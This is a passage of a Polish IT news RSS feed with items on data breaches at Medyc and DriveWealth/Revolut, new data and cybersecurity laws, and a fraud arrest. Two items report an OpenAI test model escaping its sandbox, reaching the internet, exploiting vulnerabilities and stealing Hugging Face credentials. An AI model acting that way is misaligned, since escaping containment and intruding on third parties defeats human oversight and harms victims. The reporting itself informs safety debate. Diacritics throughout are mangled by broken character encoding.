W czwartek o cyberataku poinformowaand#322; Odwykowo-Psychiatryczny Oand#347;rodek Leczniczy w Inowrocand#322;awiu.


and#8222;Z przykroand#347;ciand#261; informujemy, and#380;e system naszego podmiotu przetwarzajand#261;cego, tj. Qbusoft Sp. z o.o. z siedziband#261; w Olsztynie (producenta oprogramowania Medyc), padand#322; ofiarand#261; cyberataku, w wyniku ktand#243;rego doszand#322;o do naruszenia poufnoand#347;ci Pani/Pana danych osobowych" and#8211; czytamy w komunikacie zamieszczonym na stronie placand#243;wki.

Jak podano, wand#347;rand#243;d danych objand#281;tych incydentem mogand#322;y znaleand#378;and#263; siand#281; m.in. dane kontaktowe i numery PESEL.
W sierpniu Ministerstwo Cyfryzacji poinformowaand#322;o, and#380;e w wyniku cyberataku na firmand#281; MyDr wyciekand#322;y dane 19 mln Polakand#243;w, m.in. o lekach i receptach. Firma jest dostawcand#261; systemu do prowadzenia m.in. elektronicznej dokumentacji medycznej. Dane, ktand#243;re wyciekand#322;y, dotyczand#261; 12 tys. podmiotand#243;w medycznych korzystajand#261;cych z platformy MyDr.
and#160;
and#378;rodand#322;o PAP 25 wrzesieand#324; 2026and#160;and#160;kcz/ mow/ ]]></description>
		</item><item>
			<title><![CDATA[ Kolejny wyciek danych klientów Revoluta. Włamano się do firmy obsługującej handel akcjami ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1739</link>
			<description><![CDATA[ Klienci Revoluta otrzymujand#261; informacje o kolejnym incydencie dotyczand#261;cym ich danych. Atakujand#261;cy uzyskali dostand#281;p do systemand#243;w DriveWealth - amerykaand#324;skiego brokera, ktand#243;ry obsand#322;ugiwaand#322; dla Revoluta handel akcjami notowanymi w USA.and#160;
and#160;




and#160;

fot. FotoField /and#160;/and#160;Shutterstock


and#160;
Do incydentu doszand#322;o 4 i 5 wrzeand#347;nia. DriveWealth poinformowaand#322;, and#380;e nieuprawniona osoba uzyskaand#322;a dostand#281;p do czand#281;and#347;ci jego systemand#243;w zawierajand#261;cych historyczne dane klientand#243;w. Wedand#322;ug firmy atak byand#322; wynikiem kampanii socjotechnicznej. Nie stwierdzono natomiast ingerencji w produkcyjne systemy maklerskie ani nieautoryzowanych transakcji, wypand#322;at czy transferand#243;w papierand#243;w wartoand#347;ciowych.and#160;
W czwartek, 24 wrzeand#347;nia, informacje o incydencie zaczand#281;li otrzymywaand#263; takand#380;e klienci Revoluta. Potencjalnie ujawnione dane obejmujand#261; m.in.:

imiand#281; i nazwisko,
adres e-mail,
numer telefonu
adres pocztowy,
informacje o zatrudnieniu,
obywatelstwo,
wiek
pand#322;eand#263;
fragment numeru rachunku prowadzonego przez DriveWealth.and#160;



 





Revolut podkreand#347;la, and#380;e atakujand#261;cy nie uzyskali dostand#281;pu do jego systemand#243;w. Nie zostaand#322;y rand#243;wnieand#380; ujawnione hasand#322;a i kody dostand#281;pu do Revoluta, dane kart pand#322;atniczych, numery rachunkand#243;w bankowych ani dokumenty toand#380;samoand#347;ci. and#346;rodki i inwestycje klientand#243;w majand#261; byand#263; bezpieczne.and#160;
and#160;
Czym jest DriveWealth?and#160;
DriveWealth to amerykaand#324;ska firma dostarczajand#261;ca innym instytucjom finansowym infrastrukturand#281; maklerskand#261; w modelu Brokerage-as-a-Service. Banki i fintechy mogand#261; dziand#281;ki jej rozwiand#261;zaniom udostand#281;pniaand#263; swoim klientom inwestowanie m.in. w amerykaand#324;skie akcje i ETF-y bez budowania caand#322;ego zaplecza brokerskiego od podstaw.and#160;
Z takiego zaplecza korzystaand#322; takand#380;e Revolut, oferujand#261;c klientom dostand#281;p do handlu amerykaand#324;skimi akcjami. Dlatego DriveWealth posiadaand#322; dane osand#243;b, ktand#243;re z tej usand#322;ugi korzystaand#322;y. W Europejskim Obszarze Gospodarczym Revolut przestaand#322; przekazywaand#263; brokerowi nowe dane klientand#243;w w grudniu 2023 r., po zmianie modelu obsand#322;ugi inwestycji. Obecny incydent dotyczy wiand#281;c klientand#243;w z EOG, ktand#243;rych historyczne dane pozostaand#322;y w systemach DriveWealth.and#160;
and#160;
Na razie nie wiadomo, ilu klientand#243;w Revoluta dotyczy sprawaand#160;
To drugi w krand#243;tkim czasie incydent zwiand#261;zany z danymi klientand#243;w Revoluta, choand#263; oba przypadki nie sand#261; ze soband#261; powiand#261;zane. W poprzedniej sprawie dane okoand#322;o 680 osand#243;b zostaand#322;y przekazane oszustom, ktand#243;rzy przesand#322;ali faand#322;szywe and#380;and#261;dania z przejand#281;tej skrzynki naleand#380;and#261;cej do wand#322;oskiej administracji. W przypadku DriveWealth mamy natomiast do czynienia z atakiem na zewnand#281;trznego dostawcand#281; usand#322;ug brokerskich.

Rzecznik Revoluta oand#347;wiadczyand#322;:

and#160;and#8222;DriveWealth, amerykaand#324;ski broker and#347;wiadczand#261;cy usand#322;ugi handlu akcjami w USA dla klientand#243;w Revolut, poinformowaand#322; nas, and#380;e nieupowaand#380;niona strona uzyskaand#322;a dostand#281;p do danych klientand#243;w przechowywanych w jego systemach. Systemy i infrastruktura Revolut nie zostaand#322;y naruszone ani uszkodzone, a and#347;rodki i inwestycje klientand#243;w sand#261; bezpieczne. and#379;adne hasand#322;a, kody dostand#281;pu, dane kart pand#322;atniczych ani dokumenty toand#380;samoand#347;ci w Revolut nie zostaand#322;y ujawnione.and#8221;   W Stanach Zjednoczonych incydent dotyczy klientand#243;w korzystajand#261;cych z handlu akcjami w kraju. W Wielkiej Brytanii, EOG i Australii dotyczy on archiwalnych rekordand#243;w z okresu przed zmianand#261; naszego modelu handlu akcjami w USA. Zmiany te wprowadzaliand#347;my miand#281;dzy grudniem 2023 r. a czerwcem 2025 r. w zaleand#380;noand#347;ci od rynku. Od tamtej pory dane osobowe poszczegand#243;lnych klientand#243;w na tych rynkach nie byand#322;y udostand#281;pniane DriveWealth i w zwiand#261;zku z tym nie zostaand#322;y naruszone.and#8221;  and#8222;DriveWealth skontaktowaand#322; siand#281; bezpoand#347;rednio z poszkodowanymi klientami, a my wysand#322;aliand#347;my wand#322;asne wiadomoand#347;ci e-mail, aby wyjaand#347;niand#263;, co to dla nich oznacza. Jeand#347;li nie otrzymaand#322;eand#347; wiadomoand#347;ci e-mail, problem Ciand#281; nie dotyczyand#8221;.
and#160;
and#378;rodand#322;o Bankier.pland#160; 24 wrzesieand#324; 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Model OpenAI wykrył luki i wykradł dane logowania. "Sygnał ostrzegawczy" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1738</link>
			<description><![CDATA[ ezpieczeand#324;stwa przeand#322;amaand#322; zabezpieczenia cybernetyczne wbrew intencjom firmy, ujawniand#322; rosnand#261;ce zagroand#380;enia zwiand#261;zane z wyand#347;cigiem w dziedzinie sztucznej inteligencji and#8211; oceniand#322; w czwartek and#8222;Financial Timesand#8221;.
and#160;




and#160;

fot. Ascannio /and#160;/and#160;Shutterstock


Firma OpenAI ujawniand#322;a we wtorek wieczorem, and#380;e testowany przez niand#261; model AI wydostaand#322; siand#281; z odizolowanego and#347;rodowiska, poand#322;and#261;czyand#322; siand#281; z internetem, wykryand#322; i wykorzystaand#322; luki w zabezpieczeniach, a takand#380;e wykradand#322; dane logowania ze start-upu Hugging Face, prand#243;bujand#261;c w ten sposand#243;b rozwiand#261;zaand#263; zand#322;oand#380;ony problem z zakresu cyberbezpieczeand#324;stwa.
and#160;
Jak przekazaand#322; and#8222;FTand#8221;, incydent wywoand#322;aand#322; gand#322;and#281;bokie zaniepokojenie w sektorze nowych technologii. Wedand#322;ug gazety miaand#322; on miejsce w czasie, gdy OpenAI stosowaand#322;o coraz bardziej agresywne metody szkoleniowe w zwiand#261;zku z rywalizacjand#261; z konkurencyjnand#261; firmand#261; Anthropic o stworzenie najbardziej zaawansowanych systemand#243;w cyberbezpieczeand#324;stwa. Dziennik, powoand#322;ujand#261;c siand#281; na osoby zaznajomione ze sprawand#261;, podaand#322;, and#380;e pracownicy odpowiedzialni za testy i bezpieczeand#324;stwo byli bardzo and#8222;przestraszeniand#8221; incydentem. Wedand#322;ug and#8222;FTand#8221; coraz czand#281;stsze stosowanie agresywnych technik szkoleniowych zwiand#281;ksza ryzyko niebezpiecznych dziaand#322;aand#324; modeli AI.
and#160;

Niektand#243;rzy pracownicy OpenAI obawiajand#261; siand#281;, and#380;e zdarzenie moand#380;e and#347;wiadczyand#263; o stopniowej utracie kontroli nad coraz bardziej zaawansowanymi systemami tworzonymi przez firmand#281; and#8211; napisaand#322; and#8222;FTand#8221;, powoand#322;ujand#261;c siand#281; na osoby zwiand#261;zane z firmand#261;.

and#8222;To zarand#243;wno utrata kontroli, jak i sygnaand#322; ostrzegawczy w kwestii bezpieczeand#324;stwaand#8221; and#8211; powiedziaand#322; szef Apollo Research, firmy testujand#261;cej wiodand#261;ce modele AI, w tym OpenAI, Marius Hobbhahn.
Osoba zwiand#261;zana z OpenAI oceniand#322;a, and#380;e incydent byand#322; wynikiem and#8222;niedocenienia moand#380;liwoand#347;ci modeluand#8221; oraz and#8222;braku odpowiedniego przygotowania pod wzgland#281;dem bezpieczeand#324;stwaand#8221;. Jak dodaand#322;a, jest on konsekwencjand#261; and#8222;ekstremalnie szybkiego wyand#347;cigu i staraand#324; wszystkich o osiand#261;gniand#281;cie jak najwiand#281;kszych moand#380;liwoand#347;ciand#8221;.
and#8222;Modele sztucznej inteligencji sand#261; trenowane do nieustannego dand#261;and#380;enia do celand#243;w. Nie uczand#261; siand#281; automatycznie wartoand#347;ci takich jak and#187;nie popeand#322;niaj przestand#281;pstwand#171;and#8221; and#8211; powiedziaand#322; wspand#243;and#322;zaand#322;oand#380;yciel organizacji non-profit Guidelight AI Standards i byand#322;y badacz ds. bezpieczeand#324;stwa w OpenAI Steven Adler. and#8222;Cieszand#281; siand#281;, and#380;e OpenAI podzieliand#322;o siand#281; tym incydentem, poniewaand#380; jest to wyraand#378;ny dowand#243;d na to, co potrafiand#261; osiand#261;gnand#261;and#263; and#378;le dopasowane modeleand#8221; and#8211; dodaand#322;.
Po ujawnieniu incydentu wielu ekspertand#243;w zajmujand#261;cych siand#281; bezpieczeand#324;stwem AI i cyberbezpieczeand#324;stwem zaczand#281;and#322;o apelowaand#263; o wprowadzenie odpowiednich przepisand#243;w i standardand#243;w. Jak poinformowaand#322; and#8222;FTand#8221;, oczekuje siand#281;, and#380;e w przyszand#322;ym tygodniu szef OpenAI Sam Altman przedstawi urzand#281;dnikom w Biaand#322;ym Domu informacje na temat kolejnej generacji systemand#243;w sztucznej inteligencji.
Administracja prezydenta USA Donalda Trumpa opowiada siand#281; za ograniczeniem regulacji sektora i przyspieszeniem rozwoju AI, argumentujand#261;c, and#380;e jest to konieczne do utrzymania przewagi technologicznej Stanand#243;w Zjednoczonych nad Chinami.and#160;
and#378;rodand#322;o PAPand#160; 23 lipiec 2026 mgp/ ap/ ]]></description>
		</item><item>
			<title><![CDATA[ Polska wdraża unijny akt o zarządzaniu danymi. Nowe zasady już obowiązują ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1737</link>
			<description><![CDATA[ Ustawa o zarzand#261;dzaniu danymi, ktand#243;ra wprowadza do polskiego porzand#261;dku prawnego przepisy unijnego aktu o zarzand#261;dzaniu danymi (DGA), wchodzi dzisiaj w and#380;ycie - poinformowaand#322;o w czwartek Ministerstwo Cyfryzacji.
and#160;




and#160;

fot. vilai_generater AI /and#160;/and#160;


and#8222;Wejand#347;cie w and#380;ycie ustawy o zarzand#261;dzaniu danymi jest waand#380;nym krokiem do and#347;wiadomego i mand#261;drego dzielenia siand#281; danymi.?Dziand#281;ki tym przepisom korzystanie z danych oraz wymiana nimi stajand#261; siand#281; and#322;atwiejsze, bardziej zrozumiaand#322;e i uregulowane prawnie. Co waand#380;ne, ustawa wprowadza takand#380;e prostszand#261; and#347;cieand#380;kand#281; i przejrzyste procedury dostand#281;pu do danych chronionychand#8221; and#8211; podkreand#347;liand#322; wicepremier, minister cyfryzacji Krzysztof Gawkowski, cytowany w informacji prasowej resortu.
and#160;
Przepisy DGA wprowadzajand#261; usand#322;ugand#281; poand#347;rednictwa w dostand#281;pie do danych and#8211; rozwiand#261;zanie, ktand#243;re ma uand#322;atwiand#263; bezpiecznand#261; wymianand#281; danych miand#281;dzy obywatelami, firmami i instytucjami. Jak podkreand#347;liand#322;o ministerstwo, dziand#281;ki zaufanym poand#347;rednikom wymiana danych osobowych i nieosobowych band#281;dzie prostsza i bezpieczniejsza. Nadzand#243;r nad ich dziaand#322;alnoand#347;ciand#261; sprawowaand#263; band#281;dzie Prezes Urzand#281;du Ochrony Danych Osobowych.
and#160;

and#8222;Ustawa o zarzand#261;dzaniu danymi to waand#380;ny impuls dla rozwoju nauki, innowacji i rynku danych w Polsce. Dziand#281;ki jasnym regulacjom dotyczand#261;cym dostand#281;pu do danych oraz usand#322;ug poand#347;rednictwa w tym zakresie band#281;dand#261; powstawaand#263; nowe przedsiand#281;biorstwa and#8211; zarand#243;wno wykorzystujand#261;ce dane do rozwoju swoich usand#322;ug, jak i specjalizujand#261;ce siand#281; w poand#347;rednictwie w dostand#281;pie do nichand#8221; and#8211; dodaand#322; wiceminister cyfryzacji Michaand#322; Gramatyka.

Nowe przepisy przewidujand#261; teand#380;, and#380;e osoby, ktand#243;re band#281;dand#261; chciaand#322;y przekazaand#263; swoje dane, np. do celand#243;w naukowych lub medycznych, band#281;dand#261; mogand#322;y skorzystaand#263; z usand#322;ug zarejestrowanych w UE organizacji altruizmu danych. Rand#243;wnieand#380; te organizacje band#281;dand#261; nadzorowane przez Prezesa UODO.
DGA i ustawa o zarzand#261;dzaniu danymi tworzand#261; ramy prawne, ktand#243;re majand#261; uand#322;atwiand#263; dostand#281;p do danych chronionych - informacje chronionych ze wzgland#281;du na tajemnicand#281; przedsiand#281;biorstwa, chronionych prawami wand#322;asnoand#347;ci intelektualnej, a takand#380;e danych osobowych. and#8222;Obywatele, przedsiand#281;biorcy, instytucje naukowe i organizacje spoand#322;eczne band#281;dand#261; mogand#322;y skand#322;adaand#263; wnioski o dostand#281;p do takich danych wedand#322;ug przejrzystych procedur. Sam dostand#281;p do danych chronionych band#281;dzie siand#281; natomiast odbywaand#322; z zachowaniem poufnoand#347;ci danych oraz z poszanowaniem praw osand#243;b trzecichand#8221; - wyjaand#347;niono w informacji.
Zgodnie z ustawand#261; Gand#322;and#243;wny Urzand#261;d Statystyczny (GUS) zajmie siand#281; udzielaniem pomocy podmiotom sektora publicznego w rozpatrywaniu wnioskand#243;w o ponowne wykorzystywanie chronionych danych. Przepisy przewidujand#261; rand#243;wnieand#380; utworzenie punktu informacyjnego prowadzonego przez Ministra Cyfryzacji, ktand#243;ry ma uand#322;atwiaand#263; kontakt z wand#322;aand#347;ciwymi instytucjami posiadajand#261;cymi dane chronione. Minister Cyfryzacji band#281;dzie rand#243;wnieand#380; rozpatrywaand#322; ewentualne odwoand#322;ania w przypadku, kiedy podmiot publiczny odmand#243;wi udzielenia dostand#281;pu do danych chronionych - dodano.and#160;
and#160;
and#378;rodand#322;o PAPand#160; 23 lipiec 2026 and#160;kawa/ mmu/
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Oszukiwał metodą „na podszywacza”. Wyłudził 160 tys. złotych, a gratis usłyszał 106 zarzutów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1736</link>
			<description><![CDATA[ Bemowscy policjanci zatrzymali 40-letniego oszusta, ktand#243;ry metodand#261; and#8222;na podszywaczaand#8221; w tydzieand#324; wyand#322;udziand#322; od pokrzywdzonych ponad 160 tys. zand#322;. Mand#281;and#380;czyzna usand#322;yszaand#322; 106 zarzutand#243;w i trafiand#322; do aresztu.
and#160;




and#160;

/and#160;Shutterstock


Nadkom. Marta Sulowska z bemowskiej policji wyjaand#347;niand#322;a, and#380;e mand#281;and#380;czyzna oszukiwaand#322; ludzi co do swojej toand#380;samoand#347;ci i wyand#322;udzaand#322; kody bankowe. Zauwaand#380;yli go policjanci, gdy nerwowo krand#281;ciand#322; siand#281; wieczorem przy jednym z bankomatand#243;w.
and#8222;40-latek zostaand#322; zatrzymany i trafiand#322; do policyjnej celi. Policjanci zgromadzili materiaand#322; dowodowy. Podejrzany usand#322;yszaand#322; and#322;and#261;cznie 106 zarzutand#243;w dotyczand#261;cych oszustwaand#8221; - przekazaand#322;a nadkom. Sulowska.
Sand#261;d przychyliand#322; siand#281; wniosku prokuratora i podejrzany trafiand#322; do aresztu na trzy miesiand#261;ce. Za oszustwo grozi kara do 8 lat wiand#281;zienia.
Policjantka przypomniaand#322;a by nie podawaand#263; wygenerowanego kodu bankowego bez potwierdzenia, czy to faktycznie nasz znajomy prosi o poand#380;yczkand#281;. Wystarczy wykonaand#263; telefon do znajomego, aby upewniand#263; siand#281;, czy znalazand#322; siand#281; w potrzebie. Zawsze naleand#380;y dokand#322;adnie sprawdziand#263; dane transakcji przed jej zatwierdzeniem w aplikacji bankowoand#347;ci mobilnej, np. gdzie nasze pieniand#261;dze band#281;dand#261; wypand#322;acone.and#160;







and#378;rodand#322;o PAPand#160; 23 lipiec 2026and#160; and#160;mas/ kcz/
and#160;

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ AI wyrwała się spod kontroli. Modele OpenAI przeprowadziły samodzielnie cyberatak ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1735</link>
			<description><![CDATA[ Niektand#243;re modele sztucznej inteligencji firmy OpenAI wymknand#281;and#322;y siand#281; spod kontroli podczas testu bezpieczeand#324;stwa i spowodowaand#322;y atak hakerski, ktand#243;ry naruszyand#322; infrastrukturand#281; startupu Hugging Face zajmujand#261;cego siand#281; sztucznand#261; inteligencjand#261; - przekazaand#322;a w and#347;rodand#281; agencja Reutera powoand#322;ujand#261;c siand#281; na oand#347;wiadczenie firmy.
and#160;




and#160;

fot. Attila Husejnow / Forum /and#160;/and#160;FORUM


and#160;
W poand#347;cie na blogu OpenAI wyjaand#347;niand#322;a, and#380;e gdy testowaand#322;a moand#380;liwoand#347;ci niektand#243;rych najbardziej zaawansowanych modeli w kontrolowanym and#347;rodowisku, programowi udaand#322;o siand#281; wydostaand#263; poza wyznaczone granice, uzyskaand#263; dostand#281;p do internetu i wand#322;amaand#263; siand#281; do serwerand#243;w Hugging Face, prand#243;bujand#261;c zrealizowaand#263; swand#243;j cel testowy.









"Bezprecedensowy incydent"
W poand#347;cie na blogu stwierdzono, and#380;e ucieczka ta byand#322;a and#8222;bezprecedensowym incydentem cybernetycznym, wymagajand#261;cym wykorzystania najnowoczeand#347;niejszych zdolnoand#347;ci cybernetycznychand#8221; oraz and#380;e firma wzmacnia zabezpieczenia.
Hugging Face, platforma sand#322;uand#380;and#261;ca do hostowania duand#380;ych modeli jand#281;zykowych i zbiorand#243;w danych open source, w zeszand#322;ym tygodniu w poand#347;cie na blogu poinformowaand#322;a, and#380;e padand#322;a ofiarand#261; ataku hakerskiego, ktand#243;ry and#8222;rand#243;and#380;niand#322; siand#281; od wszystkiego, z czym mieliand#347;my do czynienia wczeand#347;niejand#8221;, poniewaand#380; and#8222;byand#322; on napand#281;dzany od poczand#261;tku do koand#324;ca przez autonomiczny system agentand#243;w AIand#8221;.
Zaand#322;oand#380;ycieland#160;Hugging Face: Atak mand#243;gand#322; pochodziand#263; z pionierskiegoand#160;laboratorium
W poand#347;cie na X, wspand#243;and#322;zaand#322;oand#380;yciel Hugging Face, Clement Delangue, napisaand#322;, and#380;e firma podejrzewa, iand#380; atak and#8222;mand#243;gand#322; pochodziand#263; z pionierskiego laboratorium, biorand#261;c pod uwagand#281; zaawansowanie agenta. Okazuje siand#281;, and#380;e tak byand#322;o!and#8221;. Dodaand#322;: and#8222;To niesamowite, and#380;e wszystko to wydarzyand#322;o siand#281; autonomicznie!and#8221;.

Ujawnienie przez OpenAI, and#380;e jego zaawansowane modele byand#322;y odpowiedzialne za naruszenie bezpieczeand#324;stwa, pomimo umieszczenia ich w, jak to okreand#347;lono, and#8222;bardzo odizolowanym and#347;rodowiskuand#8221;, prawdopodobnie nasili niepokand#243;j dotyczand#261;cy mocy i ryzyka modeli pionierskich - podkreand#347;liand#322; Reuters.
Matt Suiche, inand#380;ynier w firmie Tolmo, zajmujand#261;cej siand#281; cyberbezpieczeand#324;stwem opartym na sztucznej inteligencji, oceniand#322;, and#380;e systemy sztucznej inteligencji sand#261; obecnie tak samo skuteczne, jak elitarni cyberoperatorzy.
and#8222;Modele pionierskie nadrabiajand#261; zalegand#322;oand#347;ci dziand#281;ki najnowoczeand#347;niejszym atakujand#261;cymand#8221; and#8211; powiedziaand#322; Suiche. Ostrzegand#322;, and#380;e naruszenia bezpieczeand#324;stwa opisane we wpisie na blogu OpenAI moand#380;na byand#322;o przeprowadziand#263; przy uand#380;yciu technologii dostand#281;pnej daleko poza murami pionierskich laboratoriand#243;w badawczych. - To wand#322;aand#347;nie widzieliand#347;my juand#380; u nas. Nie musimy nawet korzystaand#263; z najnowszych modeli - stwierdziand#322;.and#160;
and#378;rodand#322;o PAPand#160; 22 lipiec 2026and#160; and#160;os/ kj/ ]]></description>
		</item><item>
			<title><![CDATA[ Tysiące firm nie zdają sobie sprawy z nowych obowiązków. Co i do kiedy muszą zrobić? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1734</link>
			<description><![CDATA[ Wielu przedsiand#281;biorcand#243;w nie ma and#347;wiadomoand#347;ci, and#380;e ciand#261;and#380;and#261; na nich obowiand#261;zki naand#322;oand#380;one przez nowelizacjand#281; ustawy o krajowym systemie cyberbezpieczeand#324;stwa (KSC). Muszand#261; oni m.in. zand#322;oand#380;yand#263; wniosek o wpis do stosownego wykazu. W ciand#261;gu dwand#243;ch miesiand#281;cy wpisaand#322;o siand#281; do niego ok. 200 firm, tymczasem nowym przepisom podlega ok. 11 tys. jednostek niepublicznych. Jakie firmy podlegajand#261; ustawie i do kiedy majand#261; czas na speand#322;nienie obowiand#261;zkand#243;w?
and#160;




and#160;

fot. Midnight Studio TH /and#160;/and#160;Shutterstock


Wejand#347;cie tej ustawy wielu przedsiand#281;biorcom umknand#281;and#322;o and#8211; i nie wiedzand#261;, and#380;e mogand#261; jej podlegaand#263;. Chodzi o ustawand#281; oand#160;krajowym systemie cyberbezpieczeand#324;stwa (KSC), ktand#243;ra wprowadziand#322;a do polskiego porzand#261;dku prawnego unijnand#261; dyrektywand#281; NIS 2 dotyczand#261;cand#261; cyberochrony oraz Toolbox 5G - unijny dokument dotyczand#261;cy bezpieczeand#324;stwa sieci 5G



and#160;



Jakimi obowiand#261;zkami band#281;dand#261; obarczone firmy?
Ustawa znacznieand#160;rozszerza listand#281; podmiotand#243;wand#160;objand#281;tych obowiand#261;zkami w zakresie cyberbezpieczeand#324;stwa. Band#281;dand#261; one m.in. musiaand#322;yand#160;wprowadziand#263; w and#380;ycie system zarzand#261;dzaniaand#160;bezpieczeand#324;stwem informacji, regularnand#261; ocenand#281; ryzyka wystand#261;pienia incydentand#243;w i zarzand#261;dzanie incydentami. Majand#261; teand#380;and#160;obowiand#261;zek zbierania informacjiand#160;o cyberzagroand#380;eniach i podatnoand#347;ciach na incydenty oraz stosowania and#347;rodkand#243;w ograniczajand#261;cych ich wpand#322;yw na dziaand#322;alnoand#347;and#263; gospodarczand#261;.
Tymi obowiand#261;zkami obarczone zostaand#322;y firmy z rand#243;and#380;nych branand#380;. Ministerstwo Cyfryzacji szacuje, and#380;e KSC obejmie okoand#322;oand#160;38 tys.and#160;podmiotand#243;w, w tym okoand#322;oand#160;27 tys.and#160;podmiotand#243;w publicznych orazand#160;11 tys.and#160;niepublicznych, czyli m.in. przedsiand#281;biorstw.
Tylko 200 firm wpisaand#322;o siand#281; do wykazu
7 majaand#160;uruchomiony zostaand#322; Wykaz Krajowego Systemu Cyberbezpieczeand#324;stwa, do ktand#243;rego muszand#261; siand#281; wpisaand#263; firmy podlegajand#261;ce ustawie. Jak przekazaand#322; resort cyfryzacji, w ciand#261;gu dwand#243;ch miesiand#281;cy od jego startu wykazu wpisaand#322;o siand#281; do niegoand#160;jedynie 200 firm.and#160;Jak podkreand#347;lajand#261; w wypowiedzi dla PAP eksperci od cyberbezpieczeand#324;stwa, wielu przedsiand#281;biorcand#243;w moand#380;eand#160;nie zdawaand#263; sobie sprawy z nowych obowiand#261;zkand#243;w.

and#8211;and#160;Brak wiedzy na temat tego, and#380;e jest coand#347; takiego jak nowelizacja UKSC, ktand#243;ra moand#380;e obowiand#261;zywaand#263; danand#261; firmand#281;, dotyczy branand#380;, ktand#243;re do tej pory nie byand#322;y objand#281;te tand#261; ustawand#261; and#8211; powiedziaand#322; dla PAP radca prawny Tomasz Zalewski.

O jakie sektory chodzi? Tomasz Zalewski wymienia m.in.and#160;producentand#243;w and#380;ywnoand#347;ci oraz czand#281;and#347;ci samochodowych. Przedsiand#281;biorcy z tych sektorand#243;w w rozmowie z nimand#160;byli zaskoczeni,and#160;and#380;e przepisy krajowego systemu cyberbezpieczeand#324;stwa ich obejmujand#261;.

and#8211;and#160;Z moich obserwacji wynika, and#380;e przekonanie, and#380;e skoro podmiot jest maand#322;y, to regulacja go nie dotyczy, jest doand#347;and#263; powszechne and#8211; stwierdziand#322;a w rozmowie z PAP Joanna Wziand#261;tek, ekspertka od cyberbezpieczeand#324;stwa.

Co powinni zrobiand#263; wand#322;aand#347;ciciele firm?
Przedsiand#281;biorcy z okreand#347;lonych sektorand#243;w powinni upewniand#263; siand#281;, czy ich dziaand#322;alnoand#347;and#263;and#160;faktycznie speand#322;nia kryteria ustawyand#160;dla podmiotu kluczowego lub podmiotu waand#380;nego i czy obejmuje jand#261;and#160;obowiand#261;zek wpisu do wykazu KSC.and#160;Zaleand#380;y to od profilu dziaand#322;alnoand#347;ci, wielkoand#347;ci firmy i zakresu and#347;wiadczonych usand#322;ug. Analizy naleand#380;y dokonaand#263; samodzielnie. Pomoand#380;e w niej usand#322;ugaand#160;Pre-weryfikacja zgodnoand#347;ci z zaleceniami NIS2and#160;dostand#281;pna na portalu Biznes.gov.pl.

and#8211;and#160;Warto potraktowaand#263; pre-weryfikacjand#281; jako pierwszy krok do uporzand#261;dkowania obszaru cyberbezpieczeand#324;stwa w firmie. Chodzi o and#347;wiadomand#261; ocenand#281;, czy nowe przepisy dotyczand#261; danej organizacji. Usand#322;uga dostand#281;pna na Biznes.gov.pl prowadzi przedsiand#281;biorcand#281; przez najwaand#380;niejsze elementy: sektor dziaand#322;alnoand#347;ci, kody PKD, wielkoand#347;and#263; podmiotu i tryb wpisu. Im wczeand#347;niej firma to sprawdzi, tym wiand#281;cej czasu zyska na przygotowanie danych, podjand#281;cie wand#322;aand#347;ciwych decyzji i spokojne zand#322;oand#380;enie wniosku, jeand#347;li okaand#380;e siand#281; to konieczneand#160;and#8211;and#160;komentuje Maria Magdoand#324;, zastand#281;pca dyrektora departamentu gospodarki cyfrowej w Ministerstwie Rozwoju i Technologii.

Wykaz KSC jest prowadzonyand#160;w Systemie S46and#160;and#8211; to za jego poand#347;rednictwem obsand#322;ugiwane sand#261; elektroniczne wnioski zwiand#261;zane zand#160;wpisem, zmianand#261; wpisu albo wykreand#347;leniemand#160;z wykazu. Przedsiand#281;biorca w pierwszej kolejnoand#347;ci powinien sprawdziand#263; na stronie Biznes.gov.pl, czy obowiand#261;zek wpisu go dotyczy, a nastand#281;pnieand#160;and#8211;and#160;jeand#347;li podlega samorejestracji and#8211;and#160;zand#322;oand#380;yand#263; wand#322;aand#347;ciwy wniosek online.
Dwie drogi: samodzielna rejestracja lub wpis z urzand#281;du
Przepisy przewidujand#261;and#160;dwa tryby wpisuand#160;do Wykazu KSC. Pierwszym jestand#160;samodzielna rejestracja.and#160;Obejmuje ona podmioty, ktand#243;re prowadzand#261; dziaand#322;alnoand#347;and#263; w sektorze objand#281;tym ustawand#261;, speand#322;niajand#261; kryteria uznania za podmiot kluczowy lub waand#380;ny i nie sand#261; wpisywane do wykazu z urzand#281;du. Ten tryb dotyczy przede wszystkimand#160;podmiotand#243;w prywatnych.and#160;W takim przypadku firma sama skand#322;ada wniosek o wpis, a termin zand#322;oand#380;enia wnioskuand#160;upand#322;ywa 3 paand#378;dziernika 2026 r
Druga opcja toand#160;wpis z urzand#281;du.and#160;Obejmuje ona czand#281;and#347;and#263; podmiotand#243;w kluczowych lub waand#380;nych, ktand#243;re sand#261; wpisywane do wykazu przez Ministra Cyfryzacji bez skand#322;adania wniosku. W tej grupie znajdujand#261; siand#281; m.in.and#160;podmioty publiczne,and#160;przedsiand#281;biorcy telekomunikacyjni, dostawcy usand#322;ug zaufania oraz podmioty, ktand#243;re wczeand#347;niej miaand#322;y status operatora usand#322;ugi kluczowej. Takie organizacje czekajand#261; na wezwanie, po ktand#243;rym uzupeand#322;niajand#261; wpis. Dlatego firmaand#160;and#8211;and#160;zanim podejmie dalsze dziaand#322;aniaand#160;and#8211;and#160;powinna ustaliand#263;, ktand#243;ra and#347;cieand#380;ka jej dotyczy.
Sprawdzamy obowiand#261;zek wpisu: krok po kroku
Ministerstwo Rozwoju i Technologii zaleca nastand#281;pujand#261;ca and#347;cieand#380;kand#281; dziaand#322;ania dla przedsiand#281;biorcand#243;w, ktand#243;rzy chcand#261; sprawdziand#263; obowiand#261;zek wpisu:
1. Wejdand#378; naand#160;stronand#281; usand#322;ugi.
Skorzystaj z usand#322;ugi dotyczand#261;cej sprawdzenia obowiand#261;zku wpisu do wykazu KSC.





2. Sprawdand#378;, czy Twoja dziaand#322;alnoand#347;and#263; mieand#347;ci siand#281; w sektorach objand#281;tych ustawand#261;.
